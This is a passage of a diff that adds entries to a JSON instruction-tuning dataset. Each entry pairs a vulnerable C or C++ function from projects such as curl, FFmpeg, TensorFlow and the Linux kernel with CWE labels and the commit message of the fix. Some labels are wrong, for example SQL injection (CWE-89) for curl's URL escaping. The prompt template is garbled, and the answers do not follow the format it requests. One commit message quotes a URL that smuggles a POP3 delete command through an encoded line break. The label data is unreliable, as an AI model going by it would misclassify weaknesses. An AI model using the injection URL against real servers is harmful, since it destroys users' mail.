ID\ngeneration.\n\nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int mbochs_probe(struct mdev_device *mdev)\n{\n\tconst struct mbochs_type *type =\n\t\t&mbochs_types[mdev_get_type_group_id(mdev)];\n\tstruct device *dev = mdev_dev(mdev);\n\tstruct mdev_state *mdev_state;\n\tint ret = -ENOMEM;\n\n\tif (type->mbytes + mbochs_used_mbytes > max_mbytes)\n\t\treturn -ENOMEM;\n\n\tmdev_state = kzalloc(sizeof(struct mdev_state), GFP_KERNEL);\n\tif (mdev_state == NULL)\n\t\treturn -ENOMEM;\n\tvfio_init_group_dev(&mdev_state->vdev, &mdev->dev, &mbochs_dev_ops);\n\n\tmdev_state->vconfig = kzalloc(MBOCHS_CONFIG_SPACE_SIZE, GFP_KERNEL);\n\tif (mdev_state->vconfig == NULL)\n\t\tgoto err_mem;\n\n\tmdev_state->memsize = type->mbytes * 1024 * 1024;\n\tmdev_state->pagecount = mdev_state->memsize >> PAGE_SHIFT;\n\tmdev_state->pages = kcalloc(mdev_state->pagecount,\n\t\t\t\t    sizeof(struct page *),\n\t\t\t\t    GFP_KERNEL);\n\tif (!mdev_state->pages)\n\t\tgoto err_mem;\n\n\tdev_info(dev, \"%s: %s, %d MB, %ld pages\\n\", __func__,\n\t\t type->name, type->mbytes, mdev_state->pagecount);\n\n\tmutex_init(&mdev_state->ops_lock);\n\tmdev_state->mdev = mdev;\n\tINIT_LIST_HEAD(&mdev_state->dmabufs);\n\tmdev_state->next_id = 1;\n\n\tmdev_state->type = type;\n\tmdev_state->edid_regs.max_xres = type->max_x;\n\tmdev_state->edid_regs.max_yres = type->max_y;\n\tmdev_state->edid_regs.edid_offset = MBOCHS_EDID_BLOB_OFFSET;\n\tmdev_state->edid_regs.edid_max_size = sizeof(mdev_state->edid_blob);\n\tmbochs_create_config_space(mdev_state);\n\tmbochs_reset(mdev_state);\n\n\tmbochs_used_mbytes += type->mbytes;\n\n\tret = vfio_register_group_dev(&mdev_state->vdev);\n\tif (ret)\n\t\tgoto err_mem;\n\tdev_set_drvdata(&mdev->dev, mdev_state);\n\treturn 0;\n\nerr_mem:\n\tkfree(mdev_state->vconfig);\n\tkfree(mdev_state);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-401'], 'message': 'vfio/mbochs: Fix missing error unwind of mbochs_used_mbytes\n\nConvert mbochs to use an atomic scheme for this like mtty was changed\ninto. The atomic fixes various race conditions with probing. Add the\nmissing error unwind. Also add the missing kfree of mdev_state->pages.\n\nFixes: 681c1615f891 (\"vfio/mbochs: Convert to use vfio_register_group_dev()\")\nReported-by: Cornelia Huck \nCo-developed-by: Alex Williamson \nReviewed-by: Christoph Hellwig \nSigned-off-by: Jason Gunthorpe \nReviewed-by: Cornelia Huck \nLink: https://lore.kernel.org/r/2-v4-9ea22c5e6afb+1adf-vfio_reflck_jgg@nvidia.com\nSigned-off-by: Alex Williamson '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: char *curl_easy_escape(CURL *handle, const char *string, int inlength)\n{\n  size_t alloc = (inlength?(size_t)inlength:strlen(string))+1;\n  char *ns;\n  char *testing_ptr = NULL;\n  unsigned char in; /* we need to treat the characters unsigned */\n  size_t newlen = alloc;\n  int strindex=0;\n  size_t length;\n  CURLcode res;\n\n  ns = malloc(alloc);\n  if(!ns)\n    return NULL;\n\n  length = alloc-1;\n  while(length--) {\n    in = *string;\n\n    if(Curl_isunreserved(in))\n      /* just copy this */\n      ns[strindex++]=in;\n    else {\n      /* encode it */\n      newlen += 2; /* the size grows with two, since this'll become a %XX */\n      if(newlen > alloc) {\n        alloc *= 2;\n        testing_ptr = realloc(ns, alloc);\n        if(!testing_ptr) {\n          free( ns );\n          return NULL;\n        }\n        else {\n          ns = testing_ptr;\n        }\n      }\n\n      res = Curl_convert_to_network(handle, &in, 1);\n      if(res) {\n        /* Curl_convert_to_network calls failf if unsuccessful */\n        free(ns);\n        return NULL;\n      }\n\n      snprintf(&ns[strindex], 4, \"%%%02X\", in);\n\n      strindex+=3;\n    }\n    string++;\n  }\n  ns[strindex]=0; /* terminate it */\n  return ns;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-89'], 'message': 'URL sanitize: reject URLs containing bad data\n\nProtocols (IMAP, POP3 and SMTP) that use the path part of a URL in a\ndecoded manner now use the new Curl_urldecode() function to reject URLs\nwith embedded control codes (anything that is or decodes to a byte value\nless than 32).\n\nURLs containing such codes could easily otherwise be used to do harm and\nallow users to do unintended actions with otherwise innocent tools and\napplications. Like for example using a URL like\npop3://pop3.example.com/1%0d%0aDELE%201 when the app wants a URL to get\na mail and instead this would delete one.\n\nThis flaw is considered a security vulnerability: CVE-2012-0036\n\nSecurity advisory at: http://curl.haxx.se/docs/adv_20120124.html\n\nReported by: Dan Fandrich'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void operator()(OpKernelContext* ctx, const CPUDevice& d, int64 num_batches,\n                  int64 samples_per_batch, int64 num_elements,\n                  const BCastList<4>& bcast,\n                  typename TTypes::ConstFlat means,\n                  typename TTypes::ConstFlat stddevs,\n                  typename TTypes::ConstFlat minvals,\n                  typename TTypes::ConstFlat maxvals,\n                  const random::PhiloxRandom& gen,\n                  typename TTypes::Flat output) {\n    // The randn rejection sampling is used when the mean and at least this many\n    // standard deviations are inside the bounds.\n    // The uniform proposal samplers become less efficient as the bounds are\n    // further from the mean, the reverse is true for the randn sampler.\n    // This number was chosen by empirical benchmarking. If modified, the\n    // benchmarks in parameterized_truncated_normal_op_test should also be\n    // changed.\n    const T kStdDevsInsideBoundsToUseRandnSampler = T(1.3);\n    auto worker_threads = *(ctx->device()->tensorflow_cpu_worker_threads());\n\n    auto do_work = [num_batches, samples_per_batch, &ctx, &bcast, &means,\n                    &stddevs, &minvals, &maxvals, &gen, &output,\n                    kStdDevsInsideBoundsToUseRandnSampler](int start_output,\n                                                           int limit_output) {\n      // Capturing \"gen\" by-value would only make a copy for the _shared_\n      // lambda.  Since we want to let each worker have its own copy, we pass\n      // \"gen\" by reference and explicitly do a copy assignment here.\n      random::PhiloxRandom gen_copy = gen;\n      using Uniform = random::UniformDistribution;\n      Uniform dist;\n      using Normal = random::NormalDistribution;\n      Normal normal_dist;\n      // Skip takes units of 128 bits. The Uniform::kResultElementCount - 1\n      // is so rounding doesn't lead to\n      // us using the same state in different workloads.\n      // The sample from each iteration uses 2 random numbers.\n      gen_copy.Skip((start_output * 2 * kMaxIterations +\n                     Uniform::kResultElementCount - 1) /\n                    Uniform::kResultElementCount);\n\n      // Vectorized intermediate calculations for uniform rejection sampling.\n      // We always generate at most 4 samples.\n      Eigen::array z;\n      Eigen::array g;\n\n      const bool should_bcast = bcast.IsBroadcastingRequired();\n      const auto& means_batch_indices = bcast.batch_indices(0);\n      const auto& stddevs_batch_indices = bcast.batch_indices(1);\n      const auto& minvals_batch_indices = bcast.batch_indices(2);\n      const auto& maxvals_batch_indices = bcast.batch_indices(3);\n      auto output_flat = output.data();\n\n      // We partition work across batches and then across samples\n      // per batch member, to avoid extra work.\n      for (int64 output_idx = start_output; output_idx < limit_output;\n           // output_idx is incremented with the inner loops below.\n      ) {\n        int64 batch_idx = output_idx / samples_per_batch;\n        // The output layout is [samples_per_batch, num_batches]. Thus\n        // the output address is sample_idx * num_batches + batch_idx.\n        // Below, code will index at output_batch_offset[sample_idx *\n        // num_batches] matching this.\n        T* const output_batch_offset = output_flat + batch_idx;\n        // Generate batch counts from BCast, as it has the right indices to loop\n        // over.\n        T mean, stddev, minval, maxval;\n        if (should_bcast) {\n          mean = means(means_batch_indices[batch_idx]);\n          stddev = stddevs(stddevs_batch_indices[batch_idx]);\n          minval = minvals(minvals_batch_indices[batch_idx]);\n          maxval = maxvals(maxvals_batch_indices[batch_idx]);\n        } else {\n          mean = means(batch_idx);\n          stddev = stddevs(batch_idx);\n          minval = minvals(batch_idx);\n          maxval = maxvals(batch_idx);\n        }\n\n        // On GPU, this check will just fill samples with NAN if it fails.\n        OP_REQUIRES(ctx,\n                    stddev > T(0) && minval < maxval &&\n                        (Eigen::numext::isfinite(minval) ||\n                         Eigen::numext::isfinite(maxval)),\n                    errors::InvalidArgument(\"Invalid parameters\"));\n\n        int num_iterations = 0;\n\n        // If possible, make one-sided bound be the lower bound, or make both\n        // bounds positive. Otherwise, the bounds are on either side of the\n        // mean.\n        if ((Eigen::numext::isinf(minval) && minval < T(0)) || maxval < mean) {\n          // Reverse all calculations. normMin and normMax will be flipped.\n          std::swap(minval, maxval);\n          stddev = -stddev;\n        }\n\n        // Calculate normalized samples, then convert them.\n        const T normMin = (minval - mean) / stddev;\n        const T normMax = (maxval - mean) / stddev;\n\n        // Determine the method to use.\n        const T sqrtFactor = Eigen::numext::sqrt((normMin * normMin) + T(4));\n        const T cutoff =\n            T(2) *\n            Eigen::numext::exp(T(0.5) +\n                               (normMin * (normMin - sqrtFactor)) / T(4)) /\n            (normMin + sqrtFactor);\n        const T diff = normMax - normMin;\n\n        if (((normMin < -kStdDevsInsideBoundsToUseRandnSampler) &&\n             (normMax >= T(0.))) ||\n            ((normMax > kStdDevsInsideBoundsToUseRandnSampler) &&\n             (normMin <= T(0.)))) {\n          // If the bounds are a least 3 standard deviations from the mean\n          // on at least one side then we rejection sample by sampling\n          // from the normal distribution and rejecting samples outside\n          // the bounds.\n          // Under this condition the acceptance rate per iteration should\n          // always be ~ 50%. This sampler is more efficient (and more\n          // numerically stable when one or both bounds is far from the mean).\n          for (int64 sample_idx = output_idx % samples_per_batch;\n               sample_idx < samples_per_batch && output_idx < limit_output;) {\n            const auto randn_sample = normal_dist(&gen_copy);\n            const int size = randn_sample.size();\n            for (int i = 0; i < size; ++i) {\n              if ((randn_sample[i] >= normMin) &&\n                  (randn_sample[i] <= normMax)) {\n                output_batch_offset[sample_idx * num_batches] =\n                    randn_sample[i] * stddev + mean;\n                ++sample_idx;\n                ++output_idx;\n                if (sample_idx >= samples_per_batch ||\n                    output_idx >= limit_output) {\n                  break;\n                }\n                num_iterations = 0;\n              } else {\n                ++num_iterations;\n                if (num_iterations > kMaxIterations) {\n                  // This should never occur because this sampler should\n                  // (by the selection criteria above) be used if at least 3\n                  // standard deviations of one side of the distribution\n                  // is within the limits (so acceptance probability per\n                  // iterations >~ 1/2 per iteration).\n                  LOG(ERROR) << \"TruncatedNormal randn rejection sampler \"\n                             << \"exceeded maximum iterations for \"\n                             << \"normMin=\" << normMin << \" normMax=\" << normMax\n                             << \" kMaxIterations=\" << kMaxIterations;\n                  ctx->SetStatus(errors::Internal(\n                      \"TruncatedNormal randn rejection sampler failed to accept\"\n                      \" a sample.\"));\n                  return;\n                }\n              }\n            }\n          }\n        } else if (diff < cutoff) {\n          // Sample from a uniform distribution on [normMin, normMax].\n\n          const T plusFactor = (normMin < T(0)) ? T(0) : normMin * normMin;\n\n          for (int64 sample_idx = output_idx % samples_per_batch;\n               sample_idx < samples_per_batch && output_idx < limit_output;) {\n            const auto rand = dist(&gen_copy);\n            const int size = rand.size();\n            // NOTE(ringwalt): These loops seem to only generate packed AVX\n            // instructions for float32.\n            for (int i = 0; i < size; i++) {\n              z[i] = rand[i] * diff + normMin;\n              g[i] = (plusFactor - z[i] * z[i]) / T(2.0);\n            }\n\n            const auto u = dist(&gen_copy);\n            for (int i = 0; i < size; i++) {\n              auto accept = u[i] <= Eigen::numext::exp(g[i]);\n              if (accept || num_iterations + 1 >= kMaxIterations) {\n                // Accept the sample z.\n                // If we run out of iterations, just use the current uniform\n                // sample, but emit a warning.\n                // TODO(jjhunt) For small entropies (relative to the bounds),\n                // this sampler is poor and may take many iterations since\n                // the proposal distribution is the uniform distribution\n                // U(lower_bound, upper_bound).\n                if (!accept) {\n                  LOG(ERROR) << \"TruncatedNormal uniform rejection sampler \"\n                             << \"exceeded max iterations. Sample may contain \"\n                             << \"outliers.\";\n                  ctx->SetStatus(errors::Internal(\n                      \"TruncatedNormal uniform rejection sampler failed to \"\n                      \" accept a sample.\"));\n                  return;\n                }\n                output_batch_offset[sample_idx * num_batches] =\n                    z[i] * stddev + mean;\n                ++sample_idx;\n                ++output_idx;\n                if (sample_idx >= samples_per_batch ||\n                    output_idx >= limit_output) {\n                  break;\n                }\n                num_iterations = 0;\n              } else {\n                num_iterations++;\n              }\n            }\n          }\n        } else {\n          // Sample from an exponential distribution with alpha maximizing\n          // acceptance probability, offset by normMin from the origin.\n          // Accept only if less than normMax.\n          const T alpha =\n              (normMin + Eigen::numext::sqrt((normMin * normMin) + T(4))) /\n              T(2);\n          for (int64 sample_idx = output_idx % samples_per_batch;\n               sample_idx < samples_per_batch && output_idx < limit_output;) {\n            auto rand = dist(&gen_copy);\n            const int size = rand.size();\n            int i = 0;\n            while (i < size) {\n              const T z = -Eigen::numext::log(rand[i]) / alpha + normMin;\n              i++;\n              const T x = normMin < alpha ? alpha - z : normMin - alpha;\n              const T g = Eigen::numext::exp(-x * x / T(2.0));\n              const T u = rand[i];\n              i++;\n              auto accept = (u <= g && z < normMax);\n              if (accept || num_iterations + 1 >= kMaxIterations) {\n                if (!accept) {\n                  LOG(ERROR) << \"TruncatedNormal exponential distribution \"\n                             << \"rejection sampler exceeds max iterations. \"\n                             << \"Sample may contain outliers.\";\n                  ctx->SetStatus(errors::Internal(\n                      \"TruncatedNormal exponential distribution rejection\"\n                      \" sampler failed to accept a sample.\"));\n                  return;\n                }\n                output_batch_offset[sample_idx * num_batches] =\n                    z * stddev + mean;\n                ++sample_idx;\n                ++output_idx;\n                if (sample_idx >= samples_per_batch ||\n                    output_idx >= limit_output) {\n                  break;\n                }\n                num_iterations = 0;\n              } else {\n                num_iterations++;\n              }\n            }\n          }\n        }\n      }\n    };\n    // The cost of the initial calculations for the batch.\n    const int64 batchInitCost =\n        // normMin, normMax\n        (Eigen::TensorOpCost::AddCost() +\n         Eigen::TensorOpCost::MulCost()) *\n            2\n        // sqrtFactor\n        + Eigen::TensorOpCost::AddCost() +\n        Eigen::TensorOpCost::MulCost() +\n        Eigen::internal::functor_traits<\n            Eigen::internal::scalar_sqrt_op>::Cost\n        // cutoff\n        + Eigen::TensorOpCost::MulCost() * 4 +\n        Eigen::internal::functor_traits>::Cost\n        // diff\n        + Eigen::TensorOpCost::AddCost();\n    const int64 uniformSampleCost =\n        random::PhiloxRandom::kElementCost +\n        random::UniformDistribution::kElementCost;\n    // The cost of a single uniform sampling round.\n    const int64 uniformRejectionSamplingCost =\n        uniformSampleCost + Eigen::TensorOpCost::MulCost() +\n        Eigen::TensorOpCost::AddCost() +\n        Eigen::TensorOpCost::MulCost() * 2 +\n        Eigen::TensorOpCost::AddCost() + uniformSampleCost +\n        Eigen::internal::functor_traits<\n            Eigen::internal::scalar_exp_op>::Cost +\n        Eigen::TensorOpCost::MulCost() + Eigen::TensorOpCost::AddCost();\n    // Estimate the cost for an entire batch.\n    // Assume we use uniform sampling, and accept the 2nd sample on average.\n    const int64 batchCost = batchInitCost + uniformRejectionSamplingCost * 2;\n    Shard(worker_threads.num_threads, worker_threads.workers, num_elements,\n          batchCost, do_work);\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-197'], 'message': 'Prevent integer truncation from 64 to 32 bits.\n\nThe `tensorflow::Shard` functions last argument must be a 2 argument function where both arguments are `int64` (`long long`, 64 bits). However, there are usages where code passes in a function where arguments are `int` or `int32` (32 bits). In these cases, it is possible that the integer truncation would later cause a segfault or other unexpected behavior.\n\nPiperOrigin-RevId: 332560414\nChange-Id: Ief649406babc8d4f60b3e7a9d573cbcc5ce5b767'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int flv_write_packet(AVFormatContext *s, AVPacket *pkt)\n{\n    AVIOContext *pb      = s->pb;\n    AVCodecContext *enc  = s->streams[pkt->stream_index]->codec;\n    FLVContext *flv      = s->priv_data;\n    FLVStreamContext *sc = s->streams[pkt->stream_index]->priv_data;\n    unsigned ts;\n    int size = pkt->size;\n    uint8_t *data = NULL;\n    int flags = -1, flags_size, ret;\n\n    if (enc->codec_id == AV_CODEC_ID_VP6F || enc->codec_id == AV_CODEC_ID_VP6A ||\n        enc->codec_id == AV_CODEC_ID_VP6  || enc->codec_id == AV_CODEC_ID_AAC)\n        flags_size = 2;\n    else if (enc->codec_id == AV_CODEC_ID_H264 || enc->codec_id == AV_CODEC_ID_MPEG4)\n        flags_size = 5;\n    else\n        flags_size = 1;\n\n    if (flv->delay == AV_NOPTS_VALUE)\n        flv->delay = -pkt->dts;\n\n    if (pkt->dts < -flv->delay) {\n        av_log(s, AV_LOG_WARNING,\n               \"Packets are not in the proper order with respect to DTS\\n\");\n        return AVERROR(EINVAL);\n    }\n\n    ts = pkt->dts + flv->delay; // add delay to force positive dts\n\n    if (s->event_flags & AVSTREAM_EVENT_FLAG_METADATA_UPDATED) {\n        write_metadata(s, ts);\n        s->event_flags &= ~AVSTREAM_EVENT_FLAG_METADATA_UPDATED;\n    }\n\n    switch (enc->codec_type) {\n    case AVMEDIA_TYPE_VIDEO:\n        avio_w8(pb, FLV_TAG_TYPE_VIDEO);\n\n        flags = ff_codec_get_tag(flv_video_codec_ids, enc->codec_id);\n\n        flags |= pkt->flags & AV_PKT_FLAG_KEY ? FLV_FRAME_KEY : FLV_FRAME_INTER;\n        break;\n    case AVMEDIA_TYPE_AUDIO:\n        flags = get_audio_flags(s, enc);\n\n        av_assert0(size);\n\n        avio_w8(pb, FLV_TAG_TYPE_AUDIO);\n        break;\n    case AVMEDIA_TYPE_SUBTITLE:\n    case AVMEDIA_TYPE_DATA:\n        avio_w8(pb, FLV_TAG_TYPE_META);\n        break;\n    default:\n        return AVERROR(EINVAL);\n    }\n\n    if (enc->codec_id == AV_CODEC_ID_H264 || enc->codec_id == AV_CODEC_ID_MPEG4) {\n        /* check if extradata looks like mp4 formatted */\n        if (enc->extradata_size > 0 && *(uint8_t*)enc->extradata != 1)\n            if ((ret = ff_avc_parse_nal_units_buf(pkt->data, &data, &size)) < 0)\n                return ret;\n    } else if (enc->codec_id == AV_CODEC_ID_AAC && pkt->size > 2 &&\n               (AV_RB16(pkt->data) & 0xfff0) == 0xfff0) {\n        if (!s->streams[pkt->stream_index]->nb_frames) {\n        av_log(s, AV_LOG_ERROR, \"Malformed AAC bitstream detected: \"\n               \"use the audio bitstream filter 'aac_adtstoasc' to fix it \"\n               \"('-bsf:a aac_adtstoasc' option with ffmpeg)\\n\");\n        return AVERROR_INVALIDDATA;\n        }\n        av_log(s, AV_LOG_WARNING, \"aac bitstream error\\n\");\n    }\n\n    /* check Speex packet duration */\n    if (enc->codec_id == AV_CODEC_ID_SPEEX && ts - sc->last_ts > 160)\n        av_log(s, AV_LOG_WARNING, \"Warning: Speex stream has more than \"\n                                  \"8 frames per packet. Adobe Flash \"\n                                  \"Player cannot handle this!\\n\");\n\n    if (sc->last_ts < ts)\n        sc->last_ts = ts;\n\n    if (size + flags_size >= 1<<24) {\n        av_log(s, AV_LOG_ERROR, \"Too large packet with size %u >= %u\\n\",\n               size + flags_size, 1<<24);\n        return AVERROR(EINVAL);\n    }\n\n    avio_wb24(pb, size + flags_size);\n    avio_wb24(pb, ts & 0xFFFFFF);\n    avio_w8(pb, (ts >> 24) & 0x7F); // timestamps are 32 bits _signed_\n    avio_wb24(pb, flv->reserved);\n\n    if (enc->codec_type == AVMEDIA_TYPE_DATA ||\n        enc->codec_type == AVMEDIA_TYPE_SUBTITLE ) {\n        int data_size;\n        int64_t metadata_size_pos = avio_tell(pb);\n        if (enc->codec_id == AV_CODEC_ID_TEXT) {\n            // legacy FFmpeg magic?\n            avio_w8(pb, AMF_DATA_TYPE_STRING);\n            put_amf_string(pb, \"onTextData\");\n            avio_w8(pb, AMF_DATA_TYPE_MIXEDARRAY);\n            avio_wb32(pb, 2);\n            put_amf_string(pb, \"type\");\n            avio_w8(pb, AMF_DATA_TYPE_STRING);\n            put_amf_string(pb, \"Text\");\n            put_amf_string(pb, \"text\");\n            avio_w8(pb, AMF_DATA_TYPE_STRING);\n            put_amf_string(pb, pkt->data);\n            put_amf_string(pb, \"\");\n            avio_w8(pb, AMF_END_OF_OBJECT);\n        } else {\n            // just pass the metadata through\n            avio_write(pb, data ? data : pkt->data, size);\n        }\n        /* write total size of tag */\n        data_size = avio_tell(pb) - metadata_size_pos;\n        avio_seek(pb, metadata_size_pos - 10, SEEK_SET);\n        avio_wb24(pb, data_size);\n        avio_seek(pb, data_size + 10 - 3, SEEK_CUR);\n        avio_wb32(pb, data_size + 11);\n    } else {\n        av_assert1(flags>=0);\n        avio_w8(pb,flags);\n        if (enc->codec_id == AV_CODEC_ID_VP6)\n            avio_w8(pb,0);\n        if (enc->codec_id == AV_CODEC_ID_VP6F || enc->codec_id == AV_CODEC_ID_VP6A) {\n            if (enc->extradata_size)\n                avio_w8(pb, enc->extradata[0]);\n            else\n                avio_w8(pb, ((FFALIGN(enc->width,  16) - enc->width) << 4) |\n                             (FFALIGN(enc->height, 16) - enc->height));\n        } else if (enc->codec_id == AV_CODEC_ID_AAC)\n            avio_w8(pb, 1); // AAC raw\n        else if (enc->codec_id == AV_CODEC_ID_H264 || enc->codec_id == AV_CODEC_ID_MPEG4) {\n            avio_w8(pb, 1); // AVC NALU\n            avio_wb24(pb, pkt->pts - pkt->dts);\n        }\n\n        avio_write(pb, data ? data : pkt->data, size);\n\n        avio_wb32(pb, size + flags_size + 11); // previous tag size\n        flv->duration = FFMAX(flv->duration,\n                              pkt->pts + flv->delay + pkt->duration);\n    }\n\n    av_free(data);\n\n    return pb->error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'avformat/flvenc: Check audio packet size\n\nFixes: Assertion failure\nFixes: assert_flvenc.c:941_1.swf\n\nFound-by: #CHEN HONGXU# \nSigned-off-by: Michael Niedermayer \n(cherry picked from commit 6b67d7f05918f7a1ee8fc6ff21355d7e8736aa10)\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: read_system_page (Bit_Chain *dat, int64_t size_comp, int64_t size_uncomp,\n                  int64_t repeat_count)\n{\n  int i;\n  int error = 0;\n\n  int64_t pesize;      // Pre RS encoded size\n  int64_t block_count; // Number of RS encoded blocks\n  int64_t page_size;\n  long pedata_size;\n\n  BITCODE_RC *rsdata; // RS encoded data\n  BITCODE_RC *pedata; // Pre RS encoded data\n  BITCODE_RC *data;   // The data RS unencoded and uncompressed\n\n  if (repeat_count < 0 ||\n      repeat_count > DBG_MAX_COUNT ||\n      (uint64_t)size_comp >= dat->size ||\n      (uint64_t)size_uncomp >= dat->size)\n    {\n      LOG_ERROR (\"Invalid r2007 system page: \"\n                 \"size_comp: %\" PRId64 \", size_uncomp: %\" PRId64\n                 \", repeat_count: %\" PRId64, size_comp, size_uncomp, repeat_count);\n      return NULL;\n    }\n  // Round to a multiple of 8\n  pesize = ((size_comp + 7) & ~7) * repeat_count;\n  // Divide pre encoded size by RS k-value (239)\n  block_count = (pesize + 238) / 239;\n  if (block_count <= 0 || block_count > DBG_MAX_COUNT)\n    {\n      LOG_ERROR (\"Invalid r2007 system page: size_comp: %\" PRId64\n                 \", size_uncomp: %\" PRId64, size_comp, size_uncomp);\n      return NULL;\n    }\n  // Multiply with codeword size (255) and round to a multiple of 8\n  page_size = (block_count * 255 + 7) & ~7;\n  if ((uint64_t)page_size >= DBG_MAX_COUNT || (unsigned long)page_size > dat->size - dat->byte)\n    {\n      LOG_ERROR (\"Invalid r2007 system page: page_size: %\" PRId64, page_size);\n      return NULL;\n    }\n  assert ((uint64_t)size_comp < dat->size);\n  assert ((uint64_t)size_uncomp < dat->size);\n  assert ((uint64_t)repeat_count < DBG_MAX_COUNT);\n  assert ((uint64_t)page_size < DBG_MAX_COUNT);\n  data = (BITCODE_RC *)calloc (size_uncomp + page_size, 1);\n  LOG_HANDLE (\"Alloc system page of size %\" PRId64 \"\\n\", size_uncomp + page_size)\n  if (!data)\n    {\n      LOG_ERROR (\"Out of memory\")\n      return NULL;\n    }\n\n  rsdata = &data[size_uncomp];\n  bit_read_fixed (dat, rsdata, page_size);\n  pedata_size = block_count * 239;\n  pedata = decode_rs (rsdata, block_count, 239, page_size);\n  if (!pedata)\n    {\n      free (data);\n      return NULL;\n    }\n\n  if (size_comp < size_uncomp)\n    error = decompress_r2007 (data, size_uncomp, pedata, MIN (pedata_size, size_comp));\n  else\n    memcpy (data, pedata, size_uncomp);\n\n  free (pedata);\n  if (error >= DWG_ERR_CRITICAL)\n    {\n      free (data);\n      return NULL;\n    }\n  return data;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'decode_r2007: fix for invalid section size\n\nSee GH #350. With fuzzing section->data_size might not fit\nsection_page->uncomp_size.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void rfbProcessClientNormalMessage(rfbClientPtr cl)\n{\n  int n;\n  rfbClientToServerMsg msg;\n  char *str;\n\n  READ((char *)&msg, 1)\n\n  switch (msg.type) {\n\n    case rfbSetPixelFormat:\n\n      READ(((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1)\n\n      cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel;\n      cl->format.depth = msg.spf.format.depth;\n      cl->format.bigEndian = (msg.spf.format.bigEndian ? 1 : 0);\n      cl->format.trueColour = (msg.spf.format.trueColour ? 1 : 0);\n      cl->format.redMax = Swap16IfLE(msg.spf.format.redMax);\n      cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax);\n      cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax);\n      cl->format.redShift = msg.spf.format.redShift;\n      cl->format.greenShift = msg.spf.format.greenShift;\n      cl->format.blueShift = msg.spf.format.blueShift;\n\n      cl->readyForSetColourMapEntries = TRUE;\n\n      rfbSetTranslateFunction(cl);\n      return;\n\n    case rfbFixColourMapEntries:\n      READ(((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1)\n      rfbLog(\"rfbProcessClientNormalMessage: FixColourMapEntries unsupported\\n\");\n      rfbCloseClient(cl);\n      return;\n\n    case rfbSetEncodings:\n    {\n      int i;\n      CARD32 enc;\n      Bool firstFence = !cl->enableFence;\n      Bool firstCU = !cl->enableCU;\n      Bool firstGII = !cl->enableGII;\n      Bool logTightCompressLevel = FALSE;\n\n      READ(((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1)\n\n      msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings);\n\n      cl->preferredEncoding = -1;\n      cl->useCopyRect = FALSE;\n      cl->enableCursorShapeUpdates = FALSE;\n      cl->enableCursorPosUpdates = FALSE;\n      cl->enableLastRectEncoding = FALSE;\n      cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION;\n      cl->tightSubsampLevel = TIGHT_DEFAULT_SUBSAMP;\n      cl->tightQualityLevel = -1;\n      cl->imageQualityLevel = -1;\n\n      for (i = 0; i < msg.se.nEncodings; i++) {\n        READ((char *)&enc, 4)\n        enc = Swap32IfLE(enc);\n\n        switch (enc) {\n\n          case rfbEncodingCopyRect:\n            cl->useCopyRect = TRUE;\n            break;\n          case rfbEncodingRaw:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using raw encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingRRE:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using rre encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingCoRRE:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using CoRRE encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingHextile:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using hextile encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingZlib:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using zlib encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingZRLE:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using ZRLE encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingZYWRLE:\n            if (cl->preferredEncoding == -1) {\n              cl->preferredEncoding = enc;\n              rfbLog(\"Using ZYWRLE encoding for client %s\\n\", cl->host);\n            }\n            break;\n          case rfbEncodingTight:\n            if (cl->preferredEncoding == -1) {\n              